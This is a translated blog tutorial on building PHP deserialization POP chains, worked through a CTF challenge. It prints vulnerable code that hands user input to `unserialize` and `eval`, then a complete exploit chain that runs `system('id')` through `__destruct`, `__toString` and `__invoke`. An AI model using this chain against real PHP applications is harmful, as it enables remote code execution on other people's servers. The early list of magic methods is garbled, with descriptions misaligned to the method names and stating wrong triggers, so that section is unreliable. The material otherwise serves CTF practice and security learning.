Construction of PHP deserialization pop chain

Table of contents

1. What is a pop chain:

Second, the magic method related to the pop chain:

3. Example of pop chain construction

Take the following code as an example:

pop chain analysis:

The total pop chain is:


1. What is a pop chain:

        It is an attribute-oriented programming method that is often used to construct call chains. Using the various classes given in the source code of the topic, the original harmless functions in each class are constructed to organically combine the classes and their functions by constructing a pop chain, so as to achieve the effect of the attack

Second, the magic method related to the pop chain:

__construct() //Trigger __destruct() when the object is created
//Trigger __wakeup() when the object is destroyed
//Trigger __sleep() when using unserialize
//Trigger __destruct() when using serialize
//When the object is destroyed Trigger
__call() //Trigger __get() when calling an inaccessible method in the object context
//Trigger __set() when accessing an inaccessible or non-existent attribute //Trigger __toString
( when setting an inaccessible or non-existent attribute
) //Triggered when the class is used as a string
__invoke() // Triggered when the object is called as a function

Among them, the _toString method         is often used . When this class is processed as a string, it is automatically called. For example, a class a is defined. When a is combined with a function that handles a string, this method will be called, such as echo $ a

3. Example of pop chain construction

Take the following code as an example:

<?php
    class Welcome{
        public $name;
        public $arg = 'oww!man!!';
        public function __construct(){
            $this->name = 'ItS SO CREAZY';
        }
        public function __destruct(){
            if($this->name == 'welcome_to_NKCTF'){
                echo $this->arg;
            }
        }
    } 
    class Happy{
        public $shell;
        public $cmd;
        public function __invoke(){
            $shell = $this->shell;
            $cmd = $this->cmd;
            eval($shell($cmd));
        }
    }
    class Hell0{
        public $func;
        public function __toString(){
            $function = $this->func;
            $function();
        }
    }
echo unserialize($_GET['a']);
?>

pop chain analysis:

The first class is:

class Welcome{
        public $name;
        public $arg = 'oww!man!!';
        public function __construct(){
            $this->name = 'ItS SO CREAZY';
        }
        public function __destruct(){
            if($this->name == 'welcome_to_NKCTF'){
                echo $this->arg;
            }
        }
    } 

The construction method in the class can be ignored and will not be executed during deserialization. The destructor method will be automatically executed at the end of the class execution. Through analysis, it can be seen that if $this->name == 'welcome_to_NKCTF, the arg variable will be output. The arg variable is controllable, and this class can be used as the head of the pop chain to pass in parameters

The second class is:

    class Happy{
        public $shell;
        public $cmd;
        public function __invoke(){
            $shell = $this->shell;
            $cmd = $this->cmd;
            eval($shell($cmd));
        }
    }

It can be seen from the _invoke method that when this class is executed as a function, it will execute eval($shell($cmd)), this function can be injected with malicious code, and both $shell and $cmd variables are controllable, and this class can be used as The end of the pop chain, execute malicious code

The third class is:

    class Hell0{
        public $func;
        public function __toString(){
            $function = $this->func;
            $function();
        }
    }

It can be seen from the _toString method that when this class is executed as a string, the $function() function will be executed, and the function name is controllable. This class can be used as the middle part of the pop chain to connect the previous and the next

Context combing:

We can use the echo function in the Welcome class to treat the Hell0 class as a string, thereby calling the _toString method in Hell0

The code is expressed as:

$a=new Welcome();
$c=new Hell0();
$a->name='welcome_to_NKCTF';
$a->arg=$c;

Then you can assign the $function variable in the Hell0 class to the Happy class , so that when the Hell0 class is called as a string , the _invoke method in the Happy class is called through the _toString method to execute malicious code

The code is expressed as:

$b=new Happy();
$c=new Hell0();
$b->shell='system';
$b->cmd="id";
$c->func=$b;

The total pop chain is:

$a=new Welcome();
$b=new Happy();
$c=new Hell0();
$a->name='welcome_to_NKCTF';
$a->arg=$c;
$c->func=$b;
$b->shell='system';
$b->cmd="id";
echo urlencode(serialize($a));

Call process: Welcome::echo -> Hell0::_toString -> Hell0::$function -> Happy::_invoke

Guess you like

Origin blog.csdn.net/Elite__zhb/article/details/129823454